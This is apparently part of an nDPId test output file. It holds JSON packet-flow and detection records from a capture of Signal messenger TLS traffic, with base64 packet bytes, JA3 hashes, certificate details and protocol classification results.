+00426{"flow_id":11,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":197,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":254064,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGSMLAqAIRFzkYEN6+AbvH3bGP4DvCGIAQA\/vIpwAAAQEICihVkvqWTmo+"} +00425{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":198,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":259275,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGUTrAqAIRI6kDKN6\/Abvpz5RKqNYh2YAQBAsAMQAAAQEICihVkvtkFUBM"} +01121{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":259325,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAAI5AABAAEAGTzXAqAIRI6kDKN6\/Abvpz5RKqNYh2YAYBAufSQAAAQEICihVkvtkFUBMFgMBAgABAAH8AwN+5Ttf6YokHynLX4ecaPrHKATOoW12Tu+wzd9uDQspWSA1hUwuwgYjwI2sT5j3KinfN4lvjC3KseF9UMaW83tPxQAiEwETAxMCwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqAEAAZH\/AQABAAAAACoAKAAAJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcAFwAAAA0AGAAWBAMIBAQBBQMCAwgFCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAAMwAmACQAHQAgepTejFE5doby0DivzOsCuvXU1Qv8gn4J5BRpbhy8vDQALQACAQEAKwAFBAMEAwMACgAKAAgAHQAXABgAGQAVAM4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00784{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":199,"source":"signal.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":4,"flow_first_seen":1569051264090,"flow_last_seen":1569051264259,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":57023,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +00424{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":200,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":259363,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGUTrAqAIRI6kDKN7AAbuO10ReRcpLjoAQBAvkagAAAQEICihVkvtkFUBN"} +01123{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":201,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":259470,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAAI5AABAAEAGTzXAqAIRI6kDKN7AAbuO10ReRcpLjoAYBAsKeAAAAQEICihVkvxkFUBNFgMBAgABAAH8AwNYXsKfONHmzDFwOYBHmMHWccv+TKZTGPJmOKuaWv\/yOCDtD78sld\/x8V+rzxyBuU3uWmdAA4D7yp8sPLtMpD+m1QAiEwETAxMCwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqAEAAZH\/AQABAAAAACoAKAAAJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcAFwAAAA0AGAAWBAMIBAQBBQMCAwgFCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAAMwAmACQAHQAg1yEhEumbjcw84EpI\/aJKwlqb4nNO3GXKiR9CVTP9slYALQACAQEAKwAFBAMEAwMACgAKAAgAHQAXABgAGQAVAM4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00784{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":201,"source":"signal.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":4,"flow_first_seen":1569051264091,"flow_last_seen":1569051264259,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":57024,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +00424{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":259507,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGUTrAqAIRI6kDKN7BAbuYIIuNFdnORoAQBAtBKQAAAQEICihVkvxkFUBN"} +01121{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":203,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":259677,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAAI5AABAAEAGTzXAqAIRI6kDKN7BAbuYIIuNFdnORoAYBAvQ5wAAAQEICihVkvxkFUBNFgMBAgABAAH8AwMBrKJ6lAeYyvz4VxhLDcDvBph9JELZn65LIOXEqYKG0yBO77oSw5+zVdfbslJwrAju9uKTARXrNL8JS7VTuLS\/cAAiEwETAxMCwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqAEAAZH\/AQABAAAAACoAKAAAJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcAFwAAAA0AGAAWBAMIBAQBBQMCAwgFCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAAMwAmACQAHQAgH0+fBZOWslk8wxPYbGM9RiS44cUzBW0Uf6uB5Vg5FGAALQACAQEAKwAFBAMEAwMACgAKAAgAHQAXABgAGQAVAM4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00784{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":203,"source":"signal.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":4,"flow_first_seen":1569051264093,"flow_last_seen":1569051264259,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":57025,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +01251{"flow_id":11,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":204,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":270338,"pkt_caplen":673,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":673,"pkt_l4_len":639,"pkt":"xGGLNYKpxiwDYGpkCABFAAKTricAADQG5DsXORgQwKgCEQG73r7gO7+5x92xj4AYAOtR3AAAAQEICpZOarQoVZKWpBLq1cB7OdZb6xp9z5fwrC3OVnVl2VdwPkolr4BdfDYeAIQr9Dkn9Rsvvf4KEikTR0BFWnQINwbkQCNO99y3yeYtGbvpbfy8u4H198gZjVR+Gyqwo6PV4tPwO6z2f8tuKz2tY1Wg6nw\/0CgwbCufi9WnWGvjeR2ZqSysvkZCHIrGz1O7VPGBlLw3XyYe34nJxFSmopT+POuDNbl292u7XzRQlDJkZb3CHbjIcmIJ0dV8miK3ibEyfMd79twkaWLFVRdZ4p\/jU7xNRa2jb3CW2NYTs8SX7O4Pw5PNySZ4T87+LhWeZ2VkIIeAVZjRtyDi3IOoHMFNDhcDAwEZ3+hD+U9Vi\/5Xcf5vCiPBn1BmO9wNSV6AdF3tRHnea3hr4ZdD+hkzSaVvgKpYHFHgB23\/e2quxLEexhaK0nMZ4VxZniNgSR6Yf9LrlK3bMuqscrTGCRrhJW27wXnH4rCCAiY2J0iz82w7tjvS10QvXSj1623\/HZVo4I1mby2o04dNaEpsAWvaKQETFwWkfgDAVedcyQuAdzC8wJ3\/+QOXOYjIb+me0tv8ThMnYPdF8UJ7DVx4USDSX\/C9hh5CtHEB8cLvL23i1rGL9I5V7gs\/Dfcdj0XIlBC0mRN\/2fG\/xt2wuxvlPyTGeWAIMj7hTzUwxjMJHydcleQ9TyJCmCrDuVvC+RQxQIPSBahwXfO8ajnrFjzBiaALDTkXAwMARakWzMpwVM5wZrzPDptq4zf+MkRtlYtKoayRLlOpXf5hmjmoathW6qRP+yAdeWHdGLRhcZ+5E7erNqJ7muze6s\/VJL32XA=="} +00441{"flow_id":11,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":205,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":271704,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGSLbAqAIRFzkYEN6+AbvH3bGP4DvCGLAQBABPuwAAAQEICihVkwqWTmq0AQEFCuA7v7ngO8IY"} +00424{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":341086,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0lEcAAO4GTvIjqQMowKgCEQG7wEvNn9QiBdFmjoAQAG5hVAAAAQEICmQVQHAoVY5t"} +02357{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":342899,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAAXUlEgAAO4GSVEjqQMowKgCEQG7wEvNn9QiBdFmjoAQAG4V2AAAAQEICmQVQHAoVY5tFgMDAFkCAABVAwPngLgY21HHoPH4CHf91D0DijSN0DONzcF4eVqKpsvieiDsfCrRuAo7QF9VH+77JZkXFC2O7ty5q3WnB\/Zm5PDVl8AvAAAN\/wEAAQAACwAEAwABAhYDAwfnCwAH4wAH4AAD5zCCA+MwggLLoAMCAQICAhAYMA0GCSqGSIb3DQEBCwUAMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMB4XDTE5MDIxNTE3MzgxN1oXDTI5MDMxMjE4MjAyMFowgZAxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMR0wGwYDVQQKDBRPcGVuIFdoaXNwZXIgU3lzdGVtczEdMBsGA1UECwwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxLjAsBgNVBAMMJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCsyBG10UW3wKLLz5OJmoB1s7B4cDs7uzp+xAOMcalYh2zeKMeI5eS4fZrup1VtHgb8XPc0CjxtIo4ECTf0led4xcI6qra+CWE7B8yrOm4B5WB+rFt1x8Xj4+SRSkkl1mO5SjQElZeSpEpoWomCLRDxMb0qDwfWzcLqYsWeQHtIiBPzWEAOsmV6UE2NHQVNJdatKUHl8y16oCXrU4c0l6+o+bKDTtiskaDATWyONnz1GL1kQjlH8lDSNn296rLmQ\/kEO2CsZeYYAwVPKDQjTfNLDVo4YeZxRDlho+ZcZdamE5Kd7FiSRmA+nLkAydQ60ijWw1Fp7JSHvsL2X08ffpJtAgMBAAGjSDBGMEQGA1UdEQQ9MDuCJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmeCEnNlcnZpY2Uuc2lnbmFsLm9yZzANBgkqhkiG9w0BAQsFAAOCAQEAKWsuR7z3DD\/hxNr0t1jsS\/8oBtaP6uM3Dv1WDnwO6tsohTdhQxfJRHMBKnAzAM9voRiv314toGiGKun6d3y\/TrcyK15lDQgdiPT6biOI4+sVLREXnDl0mhxNgt0yN7ewiHL4WxlNTqyYgy21RRxPEQHrbCScndmFrswcHfVN6FkuGTc45cEC0zoiaaAKUipjJUOjlX4Ha+q0UyNaHMPquP8A8XGBIYi6DJY8uNgP1q8F88lDA5HALWR045FALki4r5+N+Jy3GF2pTFCFvLEDS5LCk6lR9ujCktrdh0VbOHMA35rRs5lki24EQZf\/DqrquVyyzRFCDN9TVXAVBaSoSQAD8zCCA+8wggLXoAMCAQICCQCJui2rSuTzYjANBgkqhkiG9w0BAQUFADCBjTELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xHTAbBgNVBAoMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMR0wGwYDVQQLDBRPcGVuIFdoaXNwZXIgU3lzdGVtczETMBEGA1UEAwwKVGV4dFNlY3VyZTAeFw0xMzAzMjUyMjE4MzVaFw0yMzAzMjMyMjE4MzVaMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9wZW4gV2hpc3Bl"} +00831{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":228,"source":"signal.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":6,"flow_first_seen":1569051264073,"flow_last_seen":1569051264342,"flow_tot_l4_data_len":1849,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":49227,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +01819{"flow_id":10,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":343005,"pkt_caplen":1095,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1095,"pkt_l4_len":1061,"pkt":"xGGLNYKpxiwDYGpkCABFAAQ5lEkAAO4GSusjqQMowKgCEQG7wEvNn9nCBdFmjoAYAG7s8gAAAQEICmQVQHAoVY5tciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUlgaTggQxdIuKtneIwF5El1BqW3lroFT0Ao2i+qg\/UAzsXltWn73z6POt4ugq6tSg8R6Qd+hMM1XI8C5BUyDHqO7fbNRUKJQLd5hK1dlNL4nulXrPso+oK0n8cCAwHHbCpiNGtUkAmZa90NbXBwJAChUcWDWsAA8qbOQfmZqnIH+ud010uf9CDz0C6HC5\/Bli8DmDZ2HwbyCygzCLZmU7RG7nHYoMRAPZnyL7xwAxG7Xi7VYMAZvUeb1b7cKw+ggsSN6YB+xB+5DD9Dnfd8C4rL59coR2OxbmJa5GKnZDL1lKyqAElcOI2+vb2niQlHVPhwqFzkj9T0HC+lnpzQhwIDAQABo1AwTjAdBgNVHQ4EFgQUAYsY8T\/7ORlEboWGvpRlMqcyPJAwHwYDVR0jBBgwFoAUAYsY8T\/7ORlEboWGvpRlMqcyPJAwDAYDVR0TBAUwAwEB\/zANBgkqhkiG9w0BAQUFAAOCAQEAfh6+IQueptC7yQLtUSujbjw20zBDe\/4zKIxR8R+D91zxX7qY0fm5A6tKTzlOiYyMZ6w9Vw\/xFZk02k1WOYjoXsr+1MyTnn29qSznParLryOH52hEofW4c5Z\/i18bQq0TxoZMQNSDCKNyf7NlhfylWGcnIrum+LmyfdVzwLgTWcCJroO\/7K1r26ZNIaugOs9eNFk1UirSRuxD+NZCXv6BeLrGOSeyz5MSty1szCZ2+RCCQ5kb8h\/KckcFoOkJuqohhWiOJy\/EFOC2tcdnp+Axl0WizD0cIxCzYED6HUd\/M6AjLgPIB2X2WGKGew+0NcDVIlR3MbhaxHgWmCWyxK8C1RYDAwFNDAABSQMAF0EEMWQCAHI03NByJ4q5lY4gg05XSW8QObiJ+zMq73hVFLAJzDkl9ZUshAKm\/\/0LLAwHdejH2c8JuzrkkKH7vtHNRQYBAQBF6rWl38tLgEZaJHR9miBCj6f6krpP4qMlleinhhfvaPVBMsxp0rRHZqEiOWuqcl+3RQMgsXC1X6qgTVEqi6gn1H6XqLqGqmLU6E98mkI\/a3hD8MgnOzIA\/PAu6B8ewRT3DPOYWix2wWKu3Jw68DXr0Pv4N7B3O0ihPYP3gM+9UP1b+752vl\/Gdn65iz3nMp7XqOfViJuWlIJBTuQ3+u7iqgg41yQeOXQpklE7xD9585YfCLqbxsAQVuJAE9pZcjXHPNLfAVkwGuxWzDSxvqTRUOolp7Z7XCt16FswouX09M3tQEBQH7gXW6cZeiOMq+yDdAbutVQAs8WkqVN18gQLFgMDAAQOAAAA"} +01219{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":229,"source":"signal.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":7,"flow_first_seen":1569051264073,"flow_last_seen":1569051264343,"flow_tot_l4_data_len":2910,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":415,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":49227,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","server_names":"textsecure-service.whispersystems.org,service.signal.org","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=California, L=San Francisco, O=Open Whisper Systems, OU=Open Whisper Systems, CN=TextSecure","issuerDN":"C=US, ST=California, O=Open Whisper Systems, OU=Open Whisper Systems, CN=textsecure-service.whispersystems.org","fingerprint":"5E:9E:63:F5:69:45:C7:DC:E6:4D:26:68:36:7E:C2:68:DB:02:60:8B"}} +00425{"flow_id":10,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":230,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":344475,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGUTrAqAIRI6kDKMBLAbsF0WaOzZ\/dx4AQB+9PvQAAAQEICihVjt5kFUBw"} +00531{"flow_id":10,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":231,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":346706,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"xiwDYGpkxGGLNYKpCABFAAB\/AABAAEAGUO\/AqAIRI6kDKMBLAbsF0WaOzZ\/dx4AYCABSpQAAAQEICihVjuBkFUBwFgMDAEYQAABCQQTAAQFeqaxcPjmmsRP0oJLLx6BokWD\/AZ1dfxoGTaM7uCOTu4MS2i9nNUsPIXW9zYz4cBy204beSQi8sZHgvYUk"} +00424{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":232,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":367627,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0Ya4AAO4GgYsjqQMowKgCEQG73r+o1iHZ6c+WT4AQAG4BngAAAQEICmQVQHcoVZL7"} +02356{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":233,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":369936,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAAXUYa8AAO4Ge+ojqQMowKgCEQG73r+o1iHZ6c+WT4AQAG6+VgAAAQEICmQVQHcoVZL7FgMDAGICAABeAwNu8dE7Sdw67vExce1lmc6tUX3BJzty7id96PHyq9+LziCrC0t8waXbU1rG+dAlQYUF+O4HLQ41oBg583GSOK2gjsAvAAAW\/wEAAQAACwAEAwABAgAQAAUAAwJoMhYDAwfnCwAH4wAH4AAD5zCCA+MwggLLoAMCAQICAhAYMA0GCSqGSIb3DQEBCwUAMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMB4XDTE5MDIxNTE3MzgxN1oXDTI5MDMxMjE4MjAyMFowgZAxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMR0wGwYDVQQKDBRPcGVuIFdoaXNwZXIgU3lzdGVtczEdMBsGA1UECwwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxLjAsBgNVBAMMJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCsyBG10UW3wKLLz5OJmoB1s7B4cDs7uzp+xAOMcalYh2zeKMeI5eS4fZrup1VtHgb8XPc0CjxtIo4ECTf0led4xcI6qra+CWE7B8yrOm4B5WB+rFt1x8Xj4+SRSkkl1mO5SjQElZeSpEpoWomCLRDxMb0qDwfWzcLqYsWeQHtIiBPzWEAOsmV6UE2NHQVNJdatKUHl8y16oCXrU4c0l6+o+bKDTtiskaDATWyONnz1GL1kQjlH8lDSNn296rLmQ\/kEO2CsZeYYAwVPKDQjTfNLDVo4YeZxRDlho+ZcZdamE5Kd7FiSRmA+nLkAydQ60ijWw1Fp7JSHvsL2X08ffpJtAgMBAAGjSDBGMEQGA1UdEQQ9MDuCJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmeCEnNlcnZpY2Uuc2lnbmFsLm9yZzANBgkqhkiG9w0BAQsFAAOCAQEAKWsuR7z3DD\/hxNr0t1jsS\/8oBtaP6uM3Dv1WDnwO6tsohTdhQxfJRHMBKnAzAM9voRiv314toGiGKun6d3y\/TrcyK15lDQgdiPT6biOI4+sVLREXnDl0mhxNgt0yN7ewiHL4WxlNTqyYgy21RRxPEQHrbCScndmFrswcHfVN6FkuGTc45cEC0zoiaaAKUipjJUOjlX4Ha+q0UyNaHMPquP8A8XGBIYi6DJY8uNgP1q8F88lDA5HALWR045FALki4r5+N+Jy3GF2pTFCFvLEDS5LCk6lR9ujCktrdh0VbOHMA35rRs5lki24EQZf\/DqrquVyyzRFCDN9TVXAVBaSoSQAD8zCCA+8wggLXoAMCAQICCQCJui2rSuTzYjANBgkqhkiG9w0BAQUFADCBjTELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xHTAbBgNVBAoMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMR0wGwYDVQQLDBRPcGVuIFdoaXNwZXIgU3lzdGVtczETMBEGA1UEAwwKVGV4dFNlY3VyZTAeFw0xMzAzMjUyMjE4MzVaFw0yMzAzMjMyMjE4MzVaMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9w"} 